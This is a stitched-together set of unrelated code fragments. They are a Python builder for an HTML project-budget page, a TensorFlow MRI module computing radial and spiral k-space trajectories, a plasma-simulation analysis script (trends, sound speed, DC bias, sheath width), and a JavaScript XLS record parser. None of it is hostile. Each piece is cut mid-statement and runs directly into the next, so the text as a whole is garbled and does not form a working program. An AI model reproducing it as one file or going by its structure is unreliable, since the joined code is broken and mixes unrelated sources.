shrink-to-fit=no">' + \ '<link rel="stylesheet"' + \ 'href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"' + \ 'integrity="<KEY>"' + \ 'crossorigin="anonymous">' + \ '<title>Project budget</title>' + \ '</head>' + \ '<body>' + \ '<div class="container">' + \ '<div class="card text-center">' + \ '<div class="card-header text-center">Project budget</div>' + \ '<div class="card-body">' body += '<h6>Comapny name : ' + company_name + '</h6>' + \ '<h6>Share capital : ' + share_capital + '</h6>' + \ '<h6>Head office address : ' + head_office_address + '</h6>' + \ '<h6>Establishment number : ' + establishment_number + '</h6>' + \ '<h6>Register of Trade and Companies : ' + register_of_trade_and_companies + '</h6>' + \ '<h6>Main activities : ' + main_activities + '</h6>' + \ '<h6>Activity number : ' + activity_number + '</h6>' + \ '<h6>Intra-community VAT number : ' + intra_community_vat_number + '</h6>' + \ '<h6>President : ' + president + '</h6>' + \ '<h6>Registration date : ' + registration_date + '</h6>' + \ '<br>' body += '<br>' body += '<table class="table table-striped table-bordered">' + \ '<thead>' + \ '<tr>' + \ '<th scope="col">Details</th>' + \ '<th scope="col">Tasks</th>' + \ '<th scope="col">Labor hours</th>' + \ '<th scope="col">Labor rate</th>' + \ '<th scope="col">Money per unit for materials</th>' + \ '<th scope="col">Quantity for materials</th>' + \ '<th scope="col">Fixed cost</th>' + \ '<th scope="col">Budget</th>' + \ '<th scope="col">Actual</th>' + \ '<th scope="col">Variance</th>' + \ '</tr>' + \ '</thead>' + \ '<tbody>' + \ '<tr>' + \ '<td>1</td>' + \ '<td>' + r1c1 + '</td>' + \ '<td>' + r1c2 + '</td>' + \ '<td>' + r1c3 + '</td>' + \ '<td>' + r1c4 + '</td>' + \ '<td>' + r1c5 + '</td>' + \ '<td>' + r1c6 + '</td>' + \ '<td>' + r1c7 + '</td>' + \ '<td>' + r1c8 + '</td>' + \ '<td>' + r1c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>2</td>' + \ '<td>' + r2c1 + '</td>' + \ '<td>' + r2c2 + '</td>' + \ '<td>' + r2c3 + '</td>' + \ '<td>' + r2c4 + '</td>' + \ '<td>' + r2c5 + '</td>' + \ '<td>' + r2c6 + '</td>' + \ '<td>' + r2c7 + '</td>' + \ '<td>' + r2c8 + '</td>' + \ '<td>' + r2c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>3</td>' + \ '<td>' + r3c1 + '</td>' + \ '<td>' + r3c2 + '</td>' + \ '<td>' + r3c3 + '</td>' + \ '<td>' + r3c4 + '</td>' + \ '<td>' + r3c5 + '</td>' + \ '<td>' + r3c6 + '</td>' + \ '<td>' + r3c7 + '</td>' + \ '<td>' + r3c8 + '</td>' + \ '<td>' + r3c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>4</td>' + \ '<td>' + r4c1 + '</td>' + \ '<td>' + r4c2 + '</td>' + \ '<td>' + r4c3 + '</td>' + \ '<td>' + r4c4 + '</td>' + \ '<td>' + r4c5 + '</td>' + \ '<td>' + r4c6 + '</td>' + \ '<td>' + r4c7 + '</td>' + \ '<td>' + r4c8 + '</td>' + \ '<td>' + r4c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>5</td>' + \ '<td>' + r5c1 + '</td>' + \ '<td>' + r5c2 + '</td>' + \ '<td>' + r5c3 + '</td>' + \ '<td>' + r5c4 + '</td>' + \ '<td>' + r5c5 + '</td>' + \ '<td>' + r5c6 + '</td>' + \ '<td>' + r5c7 + '</td>' + \ '<td>' + r5c8 + '</td>' + \ '<td>' + r5c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>6</td>' + \ '<td>' + r6c1 + '</td>' + \ '<td>' + r6c2 + '</td>' + \ '<td>' + r6c3 + '</td>' + \ '<td>' + r6c4 + '</td>' + \ '<td>' + r6c5 + '</td>' + \ '<td>' + r6c6 + '</td>' + \ '<td>' + r6c7 + '</td>' + \ '<td>' + r6c8 + '</td>' + \ '<td>' + r6c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>7</td>' + \ '<td>' + r7c1 + '</td>' + \ '<td>' + r7c2 + '</td>' + \ '<td>' + r7c3 + '</td>' + \ '<td>' + r7c4 + '</td>' + \ '<td>' + r7c5 + '</td>' + \ '<td>' + r7c6 + '</td>' + \ '<td>' + r7c7 + '</td>' + \ '<td>' + r7c8 + '</td>' + \ '<td>' + r7c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>8</td>' + \ '<td>' + r8c1 + '</td>' + \ '<td>' + r8c2 + '</td>' + \ '<td>' + r8c3 + '</td>' + \ '<td>' + r8c4 + '</td>' + \ '<td>' + r8c5 + '</td>' + \ '<td>' + r8c6 + '</td>' + \ '<td>' + r8c7 + '</td>' + \ '<td>' + r8c8 + '</td>' + \ '<td>' + r8c9 + '</td>' + \ '</tr>' + \ '<tr>' + \ '<td>9</td>' + \ '<td>' + r9c1 + '</td>' + \ '<td>' + r9c2 + '</td>' + \ '<td>' + r9c3 +
# Copyright 2021 University College London. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """*k*-space trajectory operations. This module contains functions to operate with *k*-space trajectories, such as calculation of trajectories and sampling density. """ import math import warnings import numpy as np import tensorflow as tf import tensorflow_nufft as tfft from tensorflow_graphics.geometry.transformation import rotation_matrix_2d # pylint: disable=wrong-import-order from tensorflow_graphics.geometry.transformation import rotation_matrix_3d # pylint: disable=wrong-import-order from tensorflow_mri.python.ops import geom_ops from tensorflow_mri.python.util import check_util from tensorflow_mri.python.util import math_util from tensorflow_mri.python.util import sys_util from tensorflow_mri.python.util import tensor_util if sys_util.is_op_library_enabled(): _mri_ops = tf.load_op_library( tf.compat.v1.resource_loader.get_path_to_datafile('_mri_ops.so')) def radial_trajectory(base_resolution, views=1, phases=None, ordering='linear', angle_range='full', tiny_number=7, readout_os=2.0): """Calculate a radial trajectory. This function supports the following 2D ordering methods: * **linear**: Uniformly spaced radial views. Views are interleaved if there are multiple phases. * **golden**: Consecutive views are spaced by the golden angle (222.49 degrees if `angle_range` is `'full'` and 111.25 degrees if `angle_range` is `'half'`) [1]_. * **golden_half**: Variant of `'golden'` in which views are spaced by 111.25 degrees even if `angle_range` is `'full'` [1]_. * **tiny**: Consecutive views are spaced by the n-th tiny golden angle, where `n` is given by `tiny_number` [2]_. The default tiny number is 7 (47.26 degrees if `angle_range` is `'full'` and 23.63 degrees if `angle_range` is `'half'`). * **tiny_half**: Variant of `'tiny'` in which views are spaced by a half angle even if `angle_range` is `'full'` [2]_ (23.63 degrees for `tiny_number` equal to 7). * **sorted**: Like `golden`, but views within each phase are sorted by their angle in ascending order. Can be an alternative to `'tiny'` ordering in applications where small angle increments are required. This function also supports the following 3D ordering methods: * **sphere_archimedean**: 3D radial trajectory ("koosh-ball"). The starting points of consecutive views trace an Archimedean spiral trajectory along the surface of a sphere, if `angle_range` is `'full'`, or a hemisphere, if `angle_range` is `'half'` [3]_. Views are interleaved if there are multiple phases. Args: base_resolution: An `int`. The base resolution, or number of pixels in the readout dimension. views: An `int`. The number of radial views per phase. phases: An `int`. The number of phases for cine acquisitions. If `None`, this is assumed to be a non-cine acquisition with no time dimension. ordering: A `string`. The ordering type. Must be one of: `{'linear', 'golden', 'tiny', 'sorted', 'sphere_archimedean'}`. angle_range: A `string`. The range of the rotation angle. Must be one of: `{'full', 'half'}`. If `angle_range` is `'full'`, the full circle/sphere is included in the range. If `angle_range` is `'half'`, only a semicircle/hemisphere is included. tiny_number: An `int`. The tiny golden angle number. Only used if `ordering` is `'tiny'` or `'tiny_half'`. Must be >= 2. Defaults to 7. readout_os: A `float`. The readout oversampling factor. Defaults to 2.0. Returns: A `Tensor` of type `float32` and shape `[views, samples, 2]` if `phases` is `None`, or of shape `[phases, views, samples, 2]` if `phases` is not `None`. `samples` is equal to `base_resolution * readout_os`. The units are radians/voxel, ie, values are in the range `[-pi, pi]`. References: .. [1] <NAME>., <NAME>., <NAME>., <NAME>. and <NAME>. (2007), An optimal radial profile order based on the golden ratio for time-resolved MRI. IEEE Transactions on Medical Imaging, 26(1): 68-76, https://doi.org/10.1109/TMI.2006.885337 .. [2] <NAME>., <NAME>., <NAME>., <NAME>., <NAME>., <NAME>., <NAME>. and <NAME>. (2016), Golden ratio sparse MRI using tiny golden angles. Magn. Reson. Med., 75: 2372-2378. https://doi.org/10.1002/mrm.25831 .. [3] <NAME>. and <NAME>. (1994), A strategy for sampling on a sphere applied to 3D selective RF pulse design. Magn. Reson. Med., 32: 778-784. https://doi.org/10.1002/mrm.1910320614 """ return _kspace_trajectory('radial', {'base_resolution': base_resolution, 'readout_os': readout_os}, views=views, phases=phases, ordering=ordering, angle_range=angle_range, tiny_number=tiny_number) def spiral_trajectory(base_resolution, spiral_arms, field_of_view, max_grad_ampl, min_rise_time, dwell_time, views=1, phases=None, ordering='linear', angle_range='full', tiny_number=7, readout_os=2.0, gradient_delay=0.0, larmor_const=42.577478518, vd_inner_cutoff=1.0, vd_outer_cutoff=1.0, vd_outer_density=1.0, vd_type='linear'): """Calculate a spiral trajectory. Args: base_resolution: An `int`. The base resolution, or number of pixels in the readout dimension. spiral_arms: An `int`. The number of spiral arms that a fully sampled k-space should be divided into. field_of_view: A `float`. The field of view, in mm. max_grad_ampl: A `float`. The maximum allowed gradient amplitude, in mT/m. min_rise_time: A `float`. The minimum allowed rise time, in us/(mT/m). dwell_time: A `float`. The digitiser's real dwell time, in us. This does not include oversampling. The effective dwell time (with oversampling) is equal to `dwell_time * readout_os`. views: An `int`. The number of radial views per phase. phases: An `int`. The number of phases for cine acquisitions. If `None`, this is assumed to be a non-cine acquisition with no time dimension. ordering: A `string`. The ordering type. Must be one of: `{'linear', 'golden', 'tiny', 'sorted'}`. angle_range: A `string`. The range of the rotation angle. Must be one of: `{'full', 'half'}`. If `angle_range` is `'full'`, the full circle/sphere is included in the range. If `angle_range` is `'half'`, only a semicircle/hemisphere is included. tiny_number: An `int`. The tiny golden angle number. Only used if `ordering` is `'tiny'` or `'tiny_half'`. Must be >= 2. Defaults to 7. readout_os: A `float`. The readout oversampling factor. Defaults to 2.0. gradient_delay: A `float`. The system's gradient delay relative to the ADC, in us. Defaults to 0.0. larmor_const: A `float`. The Larmor constant of the imaging nucleus, in MHz/T. Defaults to 42.577478518 (the Larmor constant of the 1H nucleus). vd_inner_cutoff: Defines the inner, high-density portion of *k*-space. Must be between 0.0 and 1.0, where 0.0 is the center of *k*-space and 1.0 is the edge. Between 0.0 and `vd_inner_cutoff`, *k*-space will be sampled at the Nyquist rate. vd_outer_cutoff: Defines the outer, low-density portion of *k*-space. Must be between 0.0 and 1.0, where 0.0 is the center of *k*-space and 1.0 is the edge. Between `vd_outer_cutoff` and 1.0, *k*-space will be sampled at a rate `vd_outer_density` times the Nyquist rate. vd_outer_density: Defines the sampling density in the outer portion of *k*-space. Must be > 0.0. Higher means more densely sampled. Multiplies the Nyquist rate: 1.0 means sampling at the Nyquist rate, < 1.0 means undersampled and > 1.0 means oversampled. vd_type: Defines the rate of variation of the sampling density the variable-density portion of *k*-space, i.e., between `vd_inner_cutoff` and `vd_outer_cutoff`. Must be one of `'linear'`, `'quadratic'` or `'hanning'`. Returns: A `Tensor` of type `float32` and shape `[views, samples, 2]` if `phases` is `None`, or of shape `[phases, views, samples, 2]` if `phases` is not `None`. `samples` is equal to `base_resolution * readout_os`. The units are radians/voxel, ie, values are in the range `[-pi, pi]`. References: .. [1] <NAME>. and <NAME>. (2014), Spiral trajectory design: A flexible numerical algorithm and base analytical equations. <NAME>. Med, 71: 278-285. https://doi.org/10.1002/mrm.24675 """ return _kspace_trajectory('spiral', {'base_resolution': base_resolution, 'spiral_arms': spiral_arms, 'field_of_view': field_of_view, 'max_grad_ampl': max_grad_ampl, 'min_rise_time': min_rise_time, 'dwell_time': dwell_time, 'readout_os': readout_os, 'gradient_delay': gradient_delay, 'larmor_const': larmor_const, 'vd_inner_cutoff': vd_inner_cutoff, 'vd_outer_cutoff': vd_outer_cutoff, 'vd_outer_density': vd_outer_density, 'vd_type': vd_type}, views=views, phases=phases, ordering=ordering, angle_range=angle_range, tiny_number=tiny_number) def _kspace_trajectory(traj_type, waveform_params, views=1, phases=None, ordering='linear', angle_range='full', tiny_number=7): """Calculate a k-space trajectory. Args: traj_type: A `string`. The trajectory type. Must be one of: `{'radial', 'spiral'}`. waveform_params: A `dict`. Must contain the parameters needed to calculate the view waveform. The accepted parameters depend on the trajectory type: see `radial_waveform` and `spiral_waveform`. For the other parameters, see `radial_trajectory` or `spiral_trajectory`. Returns: A k-space trajectory for the given parameters. """ # Valid orderings. orderings_2d = {'linear', 'golden', 'tiny', 'sorted'} # 2D, radial or spiral orderings_3d = set() # 3D, radial or spiral orderings_radial_2d = {'golden_half', 'tiny_half'} # 2D, radial only orderings_spiral_2d = set() # 2D, spiral only orderings_radial_3d = {'sphere_archimedean'} # 3D, radial only orderings_spiral_3d = set() # 3D, spiral only
is the value of variable at location for all simulations. #Refresh lists that change per image. R,Z = ProbeLoc[0],ProbeLoc[1] Trend = list() Xaxis = list() #For all simulation folders. for l in range(0,numfolders): #Extract image with given process and variable name. Image = ImageExtractor2D(Data[l][process],variable,R_mesh[l],Z_mesh[l]) #Update X-axis with folder information. Xaxis.append( FolderNameTrimmer(Dirlist[l]) ) #TREND ANALYSIS - Value at Given Location Comparison. try: Trend.append( Image[Z][R] ) except: Trend.append(float('NaN')) #Display Min/Max value trends to terminal if requested. if print_generaltrends == True: Location = '('+str(round(R*dr[l],1))+'cm,'+str(round(Z*dz[l],1))+'cm)' print( FolderNameTrimmer(Dirlist[l])) print( str(variable)+' @ '+Location+':', round(Trend[-1], 5)) if print_generaltrends == True and l == numfolders-1: print( '') #endif #endfor #Normalise to maximum value in each profile if required. if image_normalise == True: Trend,Min,Max = Normalise(Image) #endif return(Xaxis,Trend) #enddef #=========================# #=========================# def MinMaxTrends(lineout,Orientation,process): #General trend plotting function for use with multiple folders. #Takes a lineout location and orientation string as input. #And returns the maximum and minimum values For all folders to be analysed. #With an associated X-axis composed of the trimmed folder names. #Refresh lists that change per profile. MaxValueTrend, MinValueTrend = list(), list() Xaxis = list() p = process #For each folder in the directory. for l in range(0,numfolders): #Create and correct processlist for each folder as required. processlist,Variablelist = VariableEnumerator(Variables,rawdata_2D[l],header_2Dlist[l]) processlist,Variablelist = VariableInterpolator(processlist,Variablelist,Comparisonlist) #Update X-axis with folder information. Xaxis.append( FolderNameTrimmer(Dirlist[l]) ) #Obtain radial and axial profiles for further processing. if Orientation == 'Radial': try: Profile = ExtractRadialProfile(Data[l],processlist[p],Variablelist[p],lineout,R_mesh[l],ISYMlist[l]) except: Profile = float('NaN') #endtry elif Orientation == 'Axial': try: Profile = ExtractAxialProfile(Data[l],processlist[p],Variablelist[p],lineout,R_mesh[l],Z_mesh[l],ISYMlist[l]) except: Profile = float('NaN') #endtry #endif #TREND ANALYSIS - Maximum/Minimum Value Comparison. try: MaxValueTrend.append(max(Profile)) except: MaxValueTrend.append(float('NaN')) try: MinValueTrend.append(min(Profile)) except: MinValueTrend.append(float('NaN')) #endtry #Display Min/Max value trends to terminal if requested. if print_generaltrends == True: VariableName = VariableLabelMaker(Variablelist)[p] print( FolderNameTrimmer(Dirlist[l])) print( VariableName+' '+Orientation+'Maximum: ', round(max(MaxValueTrend), 5)) print( VariableName+' '+Orientation+'Minimum: ', round(min(MinValueTrend), 5)) if print_generaltrends == True and l == numfolders-1: print( '') #endif #endfor #Normalise to maximum value in each profile if required. if image_normalise == True: MaxValueTrend,MaxMin,MaxMax = Normalise(MaxValueTrend) MinValueTrend,MinMin,MinMax = Normalise(MinValueTrend) #endif return(Xaxis,MaxValueTrend,MinValueTrend) #enddef #=========================# #=========================# #TREND ANALYSIS - Speed of Sound def CalcSoundSpeed(NeutralDensity,Pressure,Dimension='2D'): #Calculates local sound speed via Newton-Laplace equation #Takes appropriate neutral density [m-3] and pressure [Torr] (0D,1D or 2D) #Returns same dimensionality array of sound speeds in m/s #SoundSpeed = CalcSoundSpeed(ArgonDensity,Pressure,Dimension='2D') #Initiate required lists and set atomic values SoundSpeedArray = list() AdiabaticIndex = 5.0/3.0 #Assumes diatomic species (Hydrogen,Helium,Argon, etc...) AtomicMass = 39.948*1.66E-27 #[Kg] #NB HARDCODED FOR ARGON #For 0D values: if Dimension == '0D': ElasticityModulus = AdiabaticIndex*Pressure*133.33 #[Pa] = [kg m-1 s-2] MassDensity = NeutralDensity*AtomicMass #[kg m-3] #Calculate local sound speed via Newton-Laplace equation try: SoundSpeedArray = np.sqrt( ElasticityModulus/MassDensity ) #[m/s] except: SoundSpeedArray = np.nan #endif #For 1D arrays: if Dimension == '1D': for i in range(0,len(NeutralDensity)): ElasticityModulus = AdiabaticIndex*Pressure[i]*133.33 #[Pa] = [kg m-1 s-2] MassDensity = NeutralDensity[i]*AtomicMass #[kg m-3] #Calculate local sound speed via Newton-Laplace equation try: SoundSpeed = np.sqrt( ElasticityModulus/MassDensity ) #[m/s] except: SoundSpeed = np.nan SoundSpeedArray.append( SoundSpeed ) #endfor #endif #For 2D arrays: if Dimension == '2D': for i in range(0,len(NeutralDensity)): SoundSpeedArray.append(list()) for j in range(0,len(NeutralDensity[i])): ElasticityModulus = AdiabaticIndex*Pressure[i][j]*133.33 #[Pa] MassDensity = NeutralDensity[i][j]*AtomicMass #[kg m-3] #Calculate local sound speed via Newton-Laplace equation try: SoundSpeed = np.sqrt( ElasticityModulus/MassDensity ) #[m/s] except: SoundSpeed = np.nan SoundSpeedArray[i].append( SoundSpeed ) #endfor #endfor #endif return(SoundSpeedArray) #enddef #=========================# #=========================# #TREND ANALYSIS - DCbias def DCbiasMagnitude(PPOTlineout): #Takes a PPOT profile and calcuates DCbias via difference in voltage drop. #Can identify DC-bias for parallel plate discharges and dielectric discharges. #Identify if radial or axial. if len(PPOTlineout) == Z_mesh[l]: electrodelocation = WaveformLoc(electrodeloc,'2D')[1] elif len(PPOTlineout) in [R_mesh[l],R_mesh[l]*2]: electrodelocation = WaveformLoc(electrodeloc,'2D')[0] #endif #Identify Min/Max Potential magnitudes and location of max potential. MinPPOT,MaxPPOT = min(PPOTlineout),max(PPOTlineout) MaxIndex = np.argmax(PPOTlineout) #Split PPOT profile into each sheath, pre and post max potential PreIndex = PPOTlineout[:MaxIndex] PostIndex = PPOTlineout[MaxIndex:] ##=========================================## #Metals have flat PPOT profiles, dielectric/plasma have gradients. MetalIndices = list([0]) DielectricIndices = list() for i in range(0,len(PPOTlineout)-1): if PPOTlineout[i] == PPOTlineout[i+1]: MetalIndices.append(i) elif PPOTlineout[i] != PPOTlineout[i+1]: DielectricIndices.append(i) #endif #endfor MetalIndices.append(len(PPOTlineout)-1) #Grounded metal will have a PPOT of zero -- ##INCORRECT IF DC-BIAS == int(0.0)## GMetalIndices = list() for i in range(0,len(MetalIndices)): if PPOTlineout[MetalIndices[i]] == 0: GMetalIndices.append(MetalIndices[i]) #endif #endfor #Any metal that is not grounded will be powered -- ##BAD ASSUMPTION FOR ALL MESHES## PMetalIndices = list() for i in range(0,len(MetalIndices)): if MetalIndices[i] not in GMetalIndices: PMetalIndices.append(MetalIndices[i]) #endif #endfor ##=========================================## #Identify voltage drop through each sheath from max potential. try: PreIndexVoltageDrop = MaxPPOT - min(PreIndex) except: PreIndexVoltageDrop = MaxPPOT #endtry try: PostIndexVoltageDrop = MaxPPOT - min(PostIndex) except: PostIndexVoltageDrop = MaxPPOT #endtry #Minimum voltage is not one of the electrodes - "Dielectric Discharge" if min(PPOTlineout) not in [ PPOTlineout[0],PPOTlineout[-1] ]: try: DCbias = MinPPOT except: DCbias = MaxPPOT #endtry #Minimum voltage is one of the electrodes - "Parallel Plate Discharge" else: try: DCbias = PPOTlineout[PMetalIndices[0]] except: DCbias = PreIndexVoltageDrop - PostIndexVoltageDrop #endif if IDEBUG == True: X1 = range(0,len(PreIndex)) X2 = range(len(PreIndex),len(PPOTlineout)) plt.plot(X1,PreIndex, lw=2) plt.plot(X2,PostIndex, lw=2) plt.plot(np.argmax(PPOTlineout),max(PPOTlineout), 'go', ms=12) for i in range(0,len(GMetalIndices)): plt.plot(GMetalIndices[i],PPOTlineout[GMetalIndices[i]], 'ko', ms=12) #endfor for i in range(0,len(PMetalIndices)): plt.plot(PMetalIndices[i],PPOTlineout[PMetalIndices[i]], 'ro', ms=12) #endfor plt.xlabel('Cell Number') plt.ylabel('Voltage [V]') plt.legend(['PreBulk','PostBulk','Bulk']) plt.title('DCBIAS_DEBUG'+str(l+electrodelocation)) plt.savefig(DirTrends+'DCBIAS_DEBUG'+str(l+electrodelocation)+'.png') plt.close('all') #endif return DCbias #enddef #=========================# #=========================# #BRINKMANN SHEATH WIDTH CALCULATOR def CalcSheathExtent(folder=l,Orientation='Axial',Phase='NaN',Ne=list(),Ni=list()): #Calculates Brinkmann sheath width assuming Child-Langmuir conditions. #Calculation Methods: 'AbsDensity', 'IntDensity' #Takes current folder, current axis, movie1 Phase and sheath calc method. #Returns array of sheath distances from symmetry boundary (or from origin) #Sx,SxAxis = CalcSheathExtent(folder=l,Phase=moviephaselist[k]) #Initiate required data storage lists NPos,NNeg = list(),list() SxAxis,Sx = list(),list() #Import global sheath calculation method and charged particle species names SheathMethod=GlobSheathMethod if len(SheathIonSpecies) == 0: global PosSpecies global NegSpecies #Force single sheath species - Legacy Code or for testing purposes elif len(SheathIonSpecies) > 0: PosSpecies = SheathIonSpecies NegSpecies = [] #endif #Identify charged species and alter names to suit TECPLOT2D nomenclature for i in range(0,len(PosSpecies)): PosSpecies[i] = PosSpecies[i] = PosSpecies[i].replace('^','+') for i in range(0,len(NegSpecies)): NegSpecies[i] = NegSpecies[i] = NegSpecies[i].replace('^','-') if 'E' in NegSpecies: NegSpecies.remove('E') #Might Cause An Issue With Global!!! #=======# #=======# #=======# #=======# #=======# #=======# #ISSUE WITH THIS REGARDING THE DATA READ-IN #PREVIOUS VERSION SENDS Ne and Ni EXPLICITLY INTO FUNCTION, #IDEALLY WOULD HAVE ALL OF THIS RUN ONCE, EXTRACTING THE DATA FROM RAW_PHASEDATA #PASSING THE REQUIRED Ne and Neff INTO THE 2ND PART OF THE FUNCTION. #IF Ne, Neff don't exist: Run phase-extraction-function #Else: run old code below, using global values #Obtain current folder ion and electron densities if not already supplied. #Default to 2D data format. # if Phase == 'NaN' and len(Ne) == 0: #Obtain electron density and extract 2D image for further processing. # Eproc = VariableEnumerator(['E'],rawdata_2D[folder],header_2Dlist[folder])[0][0] # Ne = ImageExtractor2D( Data[folder][Eproc] ) #Obtain all positive and negative ion densities and extract 2D images for further processing # PosSpeciesproc = VariableEnumerator(PosSpecies,rawdata_2D[folder],header_2Dlist[folder])[0] # for i in range(0,len(PosSpeciesproc)): # NPos.append( ImageExtractor2D(Data[folder][PosSpeciesproc[i]]) ) #endfor # NegSpeciesproc = VariableEnumerator(NegSpecies,rawdata_2D[folder],header_2Dlist[folder])[0] # for i in range(0,len(NegSpeciesproc)): # NNeg.append( ImageExtractor2D(Data[folder][NegSpeciesproc[i]]) ) #endfor #If phase is supplied, use phase data format. (Proc=Proc-2 to skip R,Z data in phase data) # elif Phase != 'NaN' and len(Ne) == 0: # Eproc = VariableEnumerator(['E'],rawdata_phasemovie[folder],header_phasemovie[folder])[0][0] # Ne = ImageExtractor2D( PhaseMovieData[folder][Phase][Eproc-2] ) #Obtain all positive and negative ion densities and extract 2D images for further processing # PosSpeciesproc=VariableEnumerator(PosSpecies,rawdata_phasemovie[folder],header_phasemovie[folder])[0] # for i in range(0,len(PosSpeciesproc)): # NPos.append( ImageExtractor2D(PhaseMovieData[folder][Phase][PosSpeciesproc[i]-2]) ) #endfor # NegSpeciesproc=VariableEnumerator(NegSpecies,rawdata_phasemovie[folder],header_phasemovie[folder])[0] # for i in range(0,len(NegSpeciesproc)): # NNeg.append( ImageExtractor2D(PhaseMovieData[folder][Phase][NegSpeciesproc[i]-2]) ) #endfor #If specific electron and ion species densities are supplied, use those # elif len(Ne) > 0 or len(Ni) > 0: # Ne = ImageExtractor2D( Ne ) #Ne[i][j] # NPos = [ ImageExtractor2D( Ni ) ] #Put in array [] (NPos[k][i][j]) # PosSpeciesproc = ['Ion+'] #Set length to 1 # NegSpeciesproc = [] #Set length to 0 #endif #Combine 2D images of all positive ion species densities and all negative ion species densitiies # NPos = [[sum(x) for x in zip(NPos[0][i],NPos[1][i])] for i in range(len(NPos[0]))] # NNeg = [[sum(x) for x in zip(NNeg[0][i],NNeg[1][i])] for i in range(len(NNeg[0]))] # HOW TO ZIP ARBITARY NUMBER OF ARRAYS? # TotNPos = np.zeros( (len(Ne),len(Ne[0])) ).tolist() # for i in range(0,len(TotNPos)): # for j in range(0,len(TotNPos[0])): # for k in range(0,len(PosSpeciesproc)): TotNPos[i][j] += NPos[k][i][j] #endfor #endfor #endfor # TotNNeg = np.zeros( (len(Ne),len(Ne[0])) ).tolist() # for i in range(0,len(TotNNeg)): # for j in range(0,len(TotNNeg[0])): # for k in range(0,len(NegSpeciesproc)): TotNNeg[i][j] += NNeg[k][i][j] #endfor #endfor #endfor #Determine effective positive ion density as: Neff = sum(Total NPos)-sum(Total NNeg) # Neff = np.zeros( (len(Ne),len(Ne[0])) ).tolist() # for i in range(0,len(Neff)): # for j in range(0,len(Neff[0])): # Neff[i][j] = TotNPos[i][j] - TotNNeg[i][j] #endfor #endfor #=======# #=======# #=======# #=======# #=======# #=======# #!!! OLD METHOD !!! #Obtain current folder ion and electron densities if not already supplied. #Default to 2D data format. if Phase == 'NaN' and len(Ne) == 0: IONproc = VariableEnumerator(PosSpecies,rawdata_2D[folder],header_2Dlist[folder])[0][0] Eproc = VariableEnumerator(['E'],rawdata_2D[folder],header_2Dlist[folder])[0][0] Ne,Ni = Data[folder][Eproc], Data[folder][IONproc] #If phase is supplied, use phase data format. elif Phase != 'NaN' and len(Ne) == 0: IONproc = VariableEnumerator(PosSpecies,rawdata_phasemovie[folder],header_phasemovie[folder])[0][0] Eproc = VariableEnumerator(['E'],rawdata_phasemovie[folder],header_phasemovie[folder])[0][0] IONproc,Eproc = IONproc-2, Eproc-2 #Skip R,Z data inputs in phase data. Ne,Ni = PhaseMovieData[folder][Phase][Eproc], PhaseMovieData[folder][Phase][IONproc] #endif #Extract 2D image for further processing. Ne,Neff = ImageExtractor2D(Ne),ImageExtractor2D(Ni) #!!! OLD METHOD !!! #=======# #=======# #=======# #=======# #=======# #=======# ### CURRENTLY ONLY AXIAL METHOD IS EMPLOYED ### #Axial sheath array (Sx) is calculated exmploying radial integrations for all axial locations #Radial sheath array (Sx) is calculated employing axial integrations for all radial locations ### CURRENTLY ONLY AXIAL METHOD IS EMPLOYED ### if Orientation == 'Axial': #Determine sheath edge through integration of charge density: if SheathMethod == 'IntDensity': #Sheath extension: integral_(R0->Rwall) ne dR == integral_(Rwall->R0) ni dR for i in range(0,len(Neff)): #Define wall radius to integrate ions into bulk from. for j in range(0,len(Neff[i])): #if ion density drops to zero, we've hit a material surface. if Neff[i][j] == 0.0 and j == 0: RadialPlasmaExtent = 0 break elif Neff[i][j] == 0.0 and j > 0: RadialPlasmaExtent = j-1 break #endif #endfor # RadialPlasmaExtent = len(Neff[i]) #DEBUG OPTION: Sets RadialPlasmaExtent to max for all Z #No plasma, all radii are solids, append 'nan' to avoid plotting. if RadialPlasmaExtent == 0: Sx.append(np.nan) #[cm] #If non-zero plasma extent, determine radial cell satisfying Brinkmann Criterion elif RadialPlasmaExtent > 0: #Refresh sums after every radial profile. Neff_sum,Ne_sum = 0.0,0.0 for j in range(0,RadialPlasmaExtent): #Sum density radially for ions and electrons. reversed_j = RadialPlasmaExtent-j-1 Neff_sum += Neff[i][j] #Sum from R=wall to R=0 [reversed_j] ####FUDGED#### Ne_sum += Ne[i][j] #Sum from R=0 to R=wall [j] ####FUDGED#### #If ion sum is greater than electron, sheath has begun. if Neff_sum/Ne_sum >= 1.0: Sx.append(j*dr[l]) #[cm] break #If
range.e.r = cell.r; if(range.e && cell.c > range.e.c) range.e.c = cell.c; if(options.sheetRows && lastcell.r >= options.sheetRows) cell_valid = false; else out[last_cell] = line; } var opts = { enc: false, // encrypted sbcch: 0, // cch in the preceding SupBook snames: [], // sheetnames sharedf: shared_formulae, // shared formulae by address arrayf: array_formulae, // array formulae array rrtabid: [], // RRTabId lastuser: "", // Last User from WriteAccess codepage: 0, // CP from CodePage record winlocked: 0, // fLockWn from WinProtect wtf: false }; if(options.password) opts.password = options.password; var mergecells = []; var objects = []; var supbooks = [[]]; // 1-indexed, will hold extern names var sbc = 0, sbci = 0, sbcli = 0; supbooks.SheetNames = opts.snames; supbooks.sharedf = opts.sharedf; supbooks.arrayf = opts.arrayf; var last_Rn = ''; var file_depth = 0; /* TODO: make a real stack */ while(blob.l < blob.length - 1) { var s = blob.l; var RecordType = read(2); if(RecordType === 0 && last_Rn === 'EOF') break; var length = (blob.l === blob.length ? 0 : read(2)), y; var R = RecordEnum[RecordType]; if(R && R.f) { if(options.bookSheets) { if(last_Rn === 'BoundSheet8' && R.n !== 'BoundSheet8') break; } last_Rn = R.n; if(R.r === 2 || R.r == 12) { var rt = read(2); length -= 2; if(!opts.enc && rt !== RecordType) throw "rt mismatch"; if(R.r == 12){ blob.l += 10; length -= 10; } // skip FRT } //console.error(R,blob.l,length,blob.length); var val; if(R.n === 'EOF') val = R.f(blob, 